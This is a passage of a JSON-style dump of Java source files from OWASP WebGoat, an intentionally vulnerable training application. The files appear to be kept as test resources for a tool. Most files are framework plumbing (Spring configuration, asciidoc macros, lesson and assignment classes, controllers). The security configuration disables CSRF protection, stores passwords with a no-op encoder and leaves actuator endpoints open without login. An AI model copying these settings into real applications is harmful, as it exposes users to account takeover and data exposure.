    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebGoat.java",
    "content": "/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 28, 2003\n */\npackage org.owasp.webgoat.container;\n\nimport java.io.File;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.beans.factory.annotation.Value;\nimport org.springframework.boot.autoconfigure.EnableAutoConfiguration;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.ComponentScan;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.context.annotation.PropertySource;\nimport org.springframework.context.annotation.Scope;\nimport org.springframework.context.annotation.ScopedProxyMode;\nimport org.springframework.web.client.RestTemplate;\n\n@Configuration\n@ComponentScan(basePackages = {\"org.owasp.webgoat.container\", \"org.owasp.webgoat.lessons\"})\n@PropertySource(\"classpath:application-webgoat.properties\")\n@EnableAutoConfiguration\npublic class WebGoat {\n\n  @Bean(name = \"pluginTargetDirectory\")\n  public File pluginTargetDirectory(@Value(\"${webgoat.user.directory}\") final String webgoatHome) {\n    return new File(webgoatHome);\n  }\n\n  @Bean\n  @Scope(value = \"session\", proxyMode = ScopedProxyMode.TARGET_CLASS)\n  public WebSession webSession() {\n    return new WebSession();\n  }\n\n  @Bean\n  @Scope(value = \"session\", proxyMode = ScopedProxyMode.TARGET_CLASS)\n  public UserSessionData userSessionData() {\n    return new UserSessionData(\"test\", \"data\");\n  }\n\n  @Bean\n  public RestTemplate restTemplate() {\n    return new RestTemplate();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebSecurityConfig.java",
    "content": "/**\n * ************************************************************************************************\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * <p>\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since December 12, 2015\n */\npackage org.owasp.webgoat.container;\n\nimport lombok.AllArgsConstructor;\nimport org.owasp.webgoat.container.users.UserService;\nimport org.springframework.beans.factory.annotation.Autowired;\nimport org.springframework.context.annotation.Bean;\nimport org.springframework.context.annotation.Configuration;\nimport org.springframework.security.authentication.AuthenticationManager;\nimport org.springframework.security.config.annotation.authentication.builders.AuthenticationManagerBuilder;\nimport org.springframework.security.config.annotation.web.builders.HttpSecurity;\nimport org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;\nimport org.springframework.security.config.annotation.web.configuration.WebSecurityConfigurerAdapter;\nimport org.springframework.security.config.annotation.web.configurers.ExpressionUrlAuthorizationConfigurer;\nimport org.springframework.security.core.userdetails.UserDetailsService;\nimport org.springframework.security.crypto.password.NoOpPasswordEncoder;\n\n/** Security configuration for WebGoat. */\n@Configuration\n@AllArgsConstructor\n@EnableWebSecurity\npublic class WebSecurityConfig extends WebSecurityConfigurerAdapter {\n\n  private final UserService userDetailsService;\n\n  @Override\n  protected void configure(HttpSecurity http) throws Exception {\n    ExpressionUrlAuthorizationConfigurer<HttpSecurity>.ExpressionInterceptUrlRegistry security =\n        http.authorizeRequests()\n            .antMatchers(\n                \"/css/**\",\n                \"/images/**\",\n                \"/js/**\",\n                \"fonts/**\",\n                \"/plugins/**\",\n                \"/registration\",\n                \"/register.mvc\",\n                \"/actuator/**\")\n            .permitAll()\n            .anyRequest()\n            .authenticated();\n    security\n        .and()\n        .formLogin()\n        .loginPage(\"/login\")\n        .defaultSuccessUrl(\"/welcome.mvc\", true)\n        .usernameParameter(\"username\")\n        .passwordParameter(\"password\")\n        .permitAll();\n    security.and().logout().deleteCookies(\"JSESSIONID\").invalidateHttpSession(true);\n    security.and().csrf().disable();\n\n    http.headers().cacheControl().disable();\n    http.exceptionHandling().authenticationEntryPoint(new AjaxAuthenticationEntryPoint(\"/login\"));\n  }\n\n  @Autowired\n  public void configureGlobal(AuthenticationManagerBuilder auth) throws Exception {\n    auth.userDetailsService(userDetailsService);\n  }\n\n  @Bean\n  @Override\n  public UserDetailsService userDetailsServiceBean() throws Exception {\n    return userDetailsService;\n  }\n\n  @Override\n  @Bean\n  protected AuthenticationManager authenticationManager() throws Exception {\n    return super.authenticationManager();\n  }\n\n  @SuppressWarnings(\"deprecation\")\n  @Bean\n  public NoOpPasswordEncoder passwordEncoder() {\n    return (NoOpPasswordEncoder) NoOpPasswordEncoder.getInstance();\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/WebWolfRedirect.java",
    "content": "package org.owasp.webgoat.container;\n\nimport lombok.RequiredArgsConstructor;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\n@RequiredArgsConstructor\npublic class WebWolfRedirect {\n\n  private final ApplicationContext applicationContext;\n\n  @GetMapping(\"/WebWolf\")\n  public ModelAndView openWebWolf() {\n    var url = applicationContext.getEnvironment().getProperty(\"webwolf.url\");\n\n    return new ModelAndView(\"redirect:\" + url + \"/home\");\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/EnvironmentExposure.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport org.springframework.beans.BeansException;\nimport org.springframework.context.ApplicationContext;\nimport org.springframework.context.ApplicationContextAware;\nimport org.springframework.core.env.Environment;\nimport org.springframework.stereotype.Component;\n\n/**\n * Make environment available in the asciidoc code (which you cannot inject because it is handled by\n * the framework)\n */\n@Component\npublic class EnvironmentExposure implements ApplicationContextAware {\n\n  private static ApplicationContext context;\n\n  public static Environment getEnv() {\n    return context.getEnvironment();\n  }\n\n  @Override\n  public void setApplicationContext(ApplicationContext applicationContext) throws BeansException {\n    context = applicationContext;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/OperatingSystemMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.Map;\nimport org.asciidoctor.ast.ContentNode;\nimport org.asciidoctor.extension.InlineMacroProcessor;\n\npublic class OperatingSystemMacro extends InlineMacroProcessor {\n\n  public OperatingSystemMacro(String macroName) {\n    super(macroName);\n  }\n\n  public OperatingSystemMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {\n    var osName = System.getProperty(\"os.name\");\n\n    // see\n    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used\n    return createPhraseNode(contentNode, \"quoted\", osName);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/UsernameMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.Map;\nimport org.asciidoctor.ast.ContentNode;\nimport org.asciidoctor.extension.InlineMacroProcessor;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.security.core.context.SecurityContextHolder;\n\npublic class UsernameMacro extends InlineMacroProcessor {\n\n  public UsernameMacro(String macroName) {\n    super(macroName);\n  }\n\n  public UsernameMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {\n    var auth = SecurityContextHolder.getContext().getAuthentication();\n    var username = \"unknown\";\n    if (auth.getPrincipal() instanceof WebGoatUser webGoatUser) {\n      username = webGoatUser.getUsername();\n    }\n\n    // see\n    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used\n    return createPhraseNode(contentNode, \"quoted\", username);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatTmpDirMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.Map;\nimport org.asciidoctor.ast.ContentNode;\nimport org.asciidoctor.extension.InlineMacroProcessor;\n\npublic class WebGoatTmpDirMacro extends InlineMacroProcessor {\n\n  public WebGoatTmpDirMacro(String macroName) {\n    super(macroName);\n  }\n\n  public WebGoatTmpDirMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {\n    var env = EnvironmentExposure.getEnv().getProperty(\"webgoat.server.directory\");\n\n    // see\n    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used\n    return createPhraseNode(contentNode, \"quoted\", env);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebGoatVersionMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.Map;\nimport org.asciidoctor.ast.ContentNode;\nimport org.asciidoctor.extension.InlineMacroProcessor;\n\npublic class WebGoatVersionMacro extends InlineMacroProcessor {\n\n  public WebGoatVersionMacro(String macroName) {\n    super(macroName);\n  }\n\n  public WebGoatVersionMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  public Object process(ContentNode contentNode, String target, Map<String, Object> attributes) {\n    var webgoatVersion = EnvironmentExposure.getEnv().getProperty(\"webgoat.build.version\");\n\n    // see\n    // https://discuss.asciidoctor.org/How-to-create-inline-macro-producing-HTML-In-AsciidoctorJ-td8313.html for why quoted is used\n    return createPhraseNode(contentNode, \"quoted\", webgoatVersion);\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.HashMap;\nimport java.util.Map;\nimport javax.servlet.http.HttpServletRequest;\nimport org.asciidoctor.ast.ContentNode;\nimport org.asciidoctor.extension.InlineMacroProcessor;\nimport org.springframework.web.context.request.RequestContextHolder;\nimport org.springframework.web.context.request.ServletRequestAttributes;\n\n/**\n * Usage in asciidoc:\n *\n * <p>webWolfLink:here[] will display a href with here as text\n */\npublic class WebWolfMacro extends InlineMacroProcessor {\n\n  public WebWolfMacro(String macroName) {\n    super(macroName);\n  }\n\n  public WebWolfMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  public Object process(ContentNode contentNode, String linkText, Map<String, Object> attributes) {\n    var env = EnvironmentExposure.getEnv();\n    var hostname = determineHost(env.getProperty(\"webwolf.port\"));\n    var target = (String) attributes.getOrDefault(\"target\", \"home\");\n    var href = hostname + \"/\" + target;\n\n    // are we using noLink in webWolfLink:landing[noLink]? Then display link with full href\n    if (displayCompleteLinkNoFormatting(attributes)) {\n      linkText = href;\n    }\n\n    var options = new HashMap<String, Object>();\n    options.put(\"type\", \":link\");\n    options.put(\"target\", href);\n    attributes.put(\"window\", \"_blank\");\n    return createPhraseNode(contentNode, \"anchor\", linkText, attributes, options).convert();\n  }\n\n  private boolean displayCompleteLinkNoFormatting(Map<String, Object> attributes) {\n    return attributes.values().stream().anyMatch(a -> a.equals(\"noLink\"));\n  }\n\n  /**\n   * Determine the host from the hostname and ports that were used. The purpose is to make it\n   * possible to use the application behind a reverse proxy. For instance in the docker\n   * compose/stack version with webgoat webwolf and nginx proxy. You do not have to use the\n   * indicated hostname, but if you do, you should define two hosts aliases 127.0.0.1\n   * www.webgoat.local www.webwolf.local\n   */\n  private String determineHost(String port) {\n    HttpServletRequest request =\n        ((ServletRequestAttributes) RequestContextHolder.currentRequestAttributes()).getRequest();\n    String host = request.getHeader(\"Host\");\n    int semicolonIndex = host.indexOf(\":\");\n    if (semicolonIndex == -1 || host.endsWith(\":80\")) {\n      host = host.replace(\":80\", \"\").replace(\"www.webgoat.local\", \"www.webwolf.local\");\n    } else {\n      host = host.substring(0, semicolonIndex);\n      host = host.concat(\":\").concat(port);\n    }\n    return \"http://\" + host + (includeWebWolfContext() ? \"/WebWolf\" : \"\");\n  }\n\n  protected boolean includeWebWolfContext() {\n    return true;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/asciidoc/WebWolfRootMacro.java",
    "content": "package org.owasp.webgoat.container.asciidoc;\n\nimport java.util.Map;\n\n/**\n * Usage in asciidoc:\n *\n * <p>webWolfLink:here[] will display a href with here as text webWolfLink:landing[noLink] will\n * display the complete url, for example: http://WW_HOST:WW_PORT/landing\n */\npublic class WebWolfRootMacro extends WebWolfMacro {\n\n  public WebWolfRootMacro(String macroName) {\n    super(macroName);\n  }\n\n  public WebWolfRootMacro(String macroName, Map<String, Object> config) {\n    super(macroName, config);\n  }\n\n  @Override\n  protected boolean includeWebWolfContext() {\n    return false;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentEndpoint.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.container.assignments;\n\nimport lombok.Getter;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\nimport org.owasp.webgoat.container.lessons.Initializeable;\nimport org.owasp.webgoat.container.session.UserSessionData;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.WebGoatUser;\nimport org.springframework.beans.factory.annotation.Autowired;\n\npublic abstract class AssignmentEndpoint implements Initializeable {\n\n  @Autowired private WebSession webSession;\n  @Autowired private UserSessionData userSessionData;\n  @Getter @Autowired private PluginMessages messages;\n\n  protected WebSession getWebSession() {\n    return webSession;\n  }\n\n  protected UserSessionData getUserSessionData() {\n    return userSessionData;\n  }\n\n  /**\n   * Convenience method for create a successful result:\n   *\n   * <p>- Assignment is set to solved - Feedback message is set to 'assignment.solved'\n   *\n   * <p>Of course you can overwrite these values in a specific lesson\n   *\n   * @return a builder for creating a result from a lesson\n   * @param assignment\n   */\n  protected AttackResult.AttackResultBuilder success(AssignmentEndpoint assignment) {\n    return AttackResult.builder(messages)\n        .lessonCompleted(true)\n        .attemptWasMade()\n        .feedback(\"assignment.solved\")\n        .assignment(assignment);\n  }\n\n  /**\n   * Convenience method for create a failed result:\n   *\n   * <p>- Assignment is set to not solved - Feedback message is set to 'assignment.not.solved'\n   *\n   * <p>Of course you can overwrite these values in a specific lesson\n   *\n   * @return a builder for creating a result from a lesson\n   * @param assignment\n   */\n  protected AttackResult.AttackResultBuilder failed(AssignmentEndpoint assignment) {\n    return AttackResult.builder(messages)\n        .lessonCompleted(false)\n        .attemptWasMade()\n        .feedback(\"assignment.not.solved\")\n        .assignment(assignment);\n  }\n\n  protected AttackResult.AttackResultBuilder informationMessage(AssignmentEndpoint assignment) {\n    return AttackResult.builder(messages).lessonCompleted(false).assignment(assignment);\n  }\n\n  @Override\n  public void initialize(WebGoatUser user) {}\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentHints.java",
    "content": "package org.owasp.webgoat.container.assignments;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\n\n/** Created by nbaars on 1/14/17. */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface AssignmentHints {\n\n  String[] value() default {};\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AssignmentPath.java",
    "content": "package org.owasp.webgoat.container.assignments;\n\nimport java.lang.annotation.ElementType;\nimport java.lang.annotation.Retention;\nimport java.lang.annotation.RetentionPolicy;\nimport java.lang.annotation.Target;\nimport org.springframework.web.bind.annotation.RequestMethod;\n\n/** Created by nbaars on 1/14/17. */\n@Target(ElementType.TYPE)\n@Retention(RetentionPolicy.RUNTIME)\npublic @interface AssignmentPath {\n\n  String[] path() default {};\n\n  RequestMethod[] method() default {};\n\n  String value() default \"\";\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/AttackResult.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n * <p>\n * Copyright (c) 2002 - 2017 Bruce Mayhew\n * <p>\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n * <p>\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n * <p>\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n * <p>\n * Getting Source ==============\n * <p>\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software\n * projects.\n * <p>\n */\n\npackage org.owasp.webgoat.container.assignments;\n\nimport static org.apache.commons.text.StringEscapeUtils.escapeJson;\n\nimport lombok.Getter;\nimport org.owasp.webgoat.container.i18n.PluginMessages;\n\npublic class AttackResult {\n\n  public static class AttackResultBuilder {\n\n    private boolean lessonCompleted;\n    private PluginMessages messages;\n    private Object[] feedbackArgs;\n    private String feedbackResourceBundleKey;\n    private String output;\n    private Object[] outputArgs;\n    private AssignmentEndpoint assignment;\n    private boolean attemptWasMade = false;\n\n    public AttackResultBuilder(PluginMessages messages) {\n      this.messages = messages;\n    }\n\n    public AttackResultBuilder lessonCompleted(boolean lessonCompleted) {\n      this.lessonCompleted = lessonCompleted;\n      this.feedbackResourceBundleKey = \"lesson.completed\";\n      return this;\n    }\n\n    public AttackResultBuilder lessonCompleted(boolean lessonCompleted, String resourceBundleKey) {\n      this.lessonCompleted = lessonCompleted;\n      this.feedbackResourceBundleKey = resourceBundleKey;\n      return this;\n    }\n\n    public AttackResultBuilder feedbackArgs(Object... args) {\n      this.feedbackArgs = args;\n      return this;\n    }\n\n    public AttackResultBuilder feedback(String resourceBundleKey) {\n      this.feedbackResourceBundleKey = resourceBundleKey;\n      return this;\n    }\n\n    public AttackResultBuilder output(String output) {\n      this.output = output;\n      return this;\n    }\n\n    public AttackResultBuilder outputArgs(Object... args) {\n      this.outputArgs = args;\n      return this;\n    }\n\n    public AttackResultBuilder attemptWasMade() {\n      this.attemptWasMade = true;\n      return this;\n    }\n\n    public AttackResult build() {\n      return new AttackResult(\n          lessonCompleted,\n          messages.getMessage(feedbackResourceBundleKey, feedbackArgs),\n          messages.getMessage(output, output, outputArgs),\n          assignment.getClass().getSimpleName(),\n          attemptWasMade);\n    }\n\n    public AttackResultBuilder assignment(AssignmentEndpoint assignment) {\n      this.assignment = assignment;\n      return this;\n    }\n  }\n\n  @Getter private boolean lessonCompleted;\n  @Getter private String feedback;\n  @Getter private String output;\n  @Getter private final String assignment;\n  @Getter private boolean attemptWasMade;\n\n  public AttackResult(\n      boolean lessonCompleted,\n      String feedback,\n      String output,\n      String assignment,\n      boolean attemptWasMade) {\n    this.lessonCompleted = lessonCompleted;\n    this.feedback = escapeJson(feedback);\n    this.output = escapeJson(output);\n    this.assignment = assignment;\n    this.attemptWasMade = attemptWasMade;\n  }\n\n  public static AttackResultBuilder builder(PluginMessages messages) {\n    return new AttackResultBuilder(messages);\n  }\n\n  public boolean assignmentSolved() {\n    return lessonCompleted;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/assignments/LessonTrackerInterceptor.java",
    "content": "/*\n * This file is part of WebGoat, an Open Web Application Security Project utility. For details, please see http://www.owasp.org/\n *\n * Copyright (c) 2002 - 2019 Bruce Mayhew\n *\n * This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without\n * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU\n * General Public License for more details.\n *\n * You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * Getting Source ==============\n *\n * Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository for free software projects.\n */\n\npackage org.owasp.webgoat.container.assignments;\n\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.owasp.webgoat.container.users.UserTracker;\nimport org.owasp.webgoat.container.users.UserTrackerRepository;\nimport org.springframework.core.MethodParameter;\nimport org.springframework.http.MediaType;\nimport org.springframework.http.converter.HttpMessageConverter;\nimport org.springframework.http.server.ServerHttpRequest;\nimport org.springframework.http.server.ServerHttpResponse;\nimport org.springframework.web.bind.annotation.RestControllerAdvice;\nimport org.springframework.web.servlet.mvc.method.annotation.ResponseBodyAdvice;\n\n@RestControllerAdvice\npublic class LessonTrackerInterceptor implements ResponseBodyAdvice<Object> {\n\n  private UserTrackerRepository userTrackerRepository;\n  private WebSession webSession;\n\n  public LessonTrackerInterceptor(\n      UserTrackerRepository userTrackerRepository, WebSession webSession) {\n    this.userTrackerRepository = userTrackerRepository;\n    this.webSession = webSession;\n  }\n\n  @Override\n  public boolean supports(\n      MethodParameter methodParameter, Class<? extends HttpMessageConverter<?>> clazz) {\n    return true;\n  }\n\n  @Override\n  public Object beforeBodyWrite(\n      Object o,\n      MethodParameter methodParameter,\n      MediaType mediaType,\n      Class<? extends HttpMessageConverter<?>> aClass,\n      ServerHttpRequest serverHttpRequest,\n      ServerHttpResponse serverHttpResponse) {\n    if (o instanceof AttackResult attackResult) {\n      trackProgress(attackResult);\n    }\n    return o;\n  }\n\n  protected AttackResult trackProgress(AttackResult attackResult) {\n    UserTracker userTracker = userTrackerRepository.findByUser(webSession.getUserName());\n    if (userTracker == null) {\n      userTracker = new UserTracker(webSession.getUserName());\n    }\n    if (attackResult.assignmentSolved()) {\n      userTracker.assignmentSolved(webSession.getCurrentLesson(), attackResult.getAssignment());\n    } else {\n      userTracker.assignmentFailed(webSession.getCurrentLesson());\n    }\n    userTrackerRepository.saveAndFlush(userTracker);\n    return attackResult;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/controller/StartLesson.java",
    "content": "/**\n * ************************************************************************************************\n *\n * <p>\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author WebGoat\n * @version $Id: $Id\n * @since October 28, 2003\n */\npackage org.owasp.webgoat.container.controller;\n\nimport javax.servlet.http.HttpServletRequest;\nimport org.owasp.webgoat.container.session.Course;\nimport org.owasp.webgoat.container.session.WebSession;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.RequestMapping;\nimport org.springframework.web.bind.annotation.RequestMethod;\nimport org.springframework.web.servlet.ModelAndView;\n\n@Controller\npublic class StartLesson {\n\n  private final WebSession ws;\n  private final Course course;\n\n  public StartLesson(WebSession ws, Course course) {\n    this.ws = ws;\n    this.course = course;\n  }\n\n  /**\n   * start.\n   *\n   * @return a {@link ModelAndView} object.\n   */\n  @RequestMapping(\n      path = \"startlesson.mvc\",\n      method = {RequestMethod.GET, RequestMethod.POST})\n  public ModelAndView start() {\n    var model = new ModelAndView();\n\n    model.addObject(\"course\", course);\n    model.addObject(\"lesson\", ws.getCurrentLesson());\n    model.setViewName(\"lesson_content\");\n\n    return model;\n  }\n\n  @RequestMapping(\n      value = {\"*.lesson\"},\n      produces = \"text/html\")\n  public ModelAndView lessonPage(HttpServletRequest request) {\n    var model = new ModelAndView(\"lesson_content\");\n    var path = request.getRequestURL().toString(); // we now got /a/b/c/AccessControlMatrix.lesson\n    var lessonName = path.substring(path.lastIndexOf('/') + 1, path.indexOf(\".lesson\"));\n\n    course.getLessons().stream()\n        .filter(l -> l.getId().equals(lessonName))\n        .findFirst()\n        .ifPresent(\n            lesson -> {\n              ws.setCurrentLesson(lesson);\n              model.addObject(\"lesson\", lesson);\n            });\n\n    return model;\n  }\n}\n"
  },
  {
    "path": "src/test/resources/sourceCode/testProjects/maven/src/main/java/org/owasp/webgoat/container/controller/Welcome.java",
    "content": "/**\n * ************************************************************************************************\n *\n * <p>This file is part of WebGoat, an Open Web Application Security Project utility. For details,\n * please see http://www.owasp.org/\n *\n * <p>Copyright (c) 2002 - 2014 Bruce Mayhew\n *\n * <p>This program is free software; you can redistribute it and/or modify it under the terms of the\n * GNU General Public License as published by the Free Software Foundation; either version 2 of the\n * License, or (at your option) any later version.\n *\n * <p>This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY;\n * without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n * GNU General Public License for more details.\n *\n * <p>You should have received a copy of the GNU General Public License along with this program; if\n * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA\n * 02111-1307, USA.\n *\n * <p>Getting Source ==============\n *\n * <p>Source for this application is maintained at https://github.com/WebGoat/WebGoat, a repository\n * for free software projects.\n *\n * @author WebGoat\n * @since October 28, 2003\n * @version $Id: $Id\n */\npackage org.owasp.webgoat.container.controller;\n\nimport javax.servlet.http.HttpServletRequest;\nimport javax.servlet.http.HttpSession;\nimport org.springframework.stereotype.Controller;\nimport org.springframework.web.bind.annotation.GetMapping;\nimport org.springframework.web.servlet.ModelAndView;\n\n/**\n * Welcome class.\n *\n * @author rlawson\n * @version $Id: $Id\n */\n@Controller\npublic class Welcome {\n\n  private static final String WELCOMED = \"welcomed\";\n\n  /**\n   * welcome.\n   *\n   * @param request a {@link javax.servlet.http.HttpServletRequest} object.\n   * @return a {@link org.springframework.web.servlet.ModelAndView} object.\n   */\n  @GetMapping(path = {\"welcome.mvc\"})\n  public ModelAndView welcome(HttpServletRequest request) {\n\n    // set the welcome attribute\n    // this is so the attack servlet does not also\n    // send them to the welcome page\n    HttpSession session = request.getSession();\n    if (session.getAttribute(WELCOMED) == null) {\n      session.setAttribute(WELCOMED, \"true\");\n    }\n\n    // go ahead and send them to webgoat (skip the welcome page)\n    ModelAndView model = new ModelAndView();\n    model.setViewName(\"forward:/attack?start=true\");\n    return model;\n  }\n}\n"
  },
  {
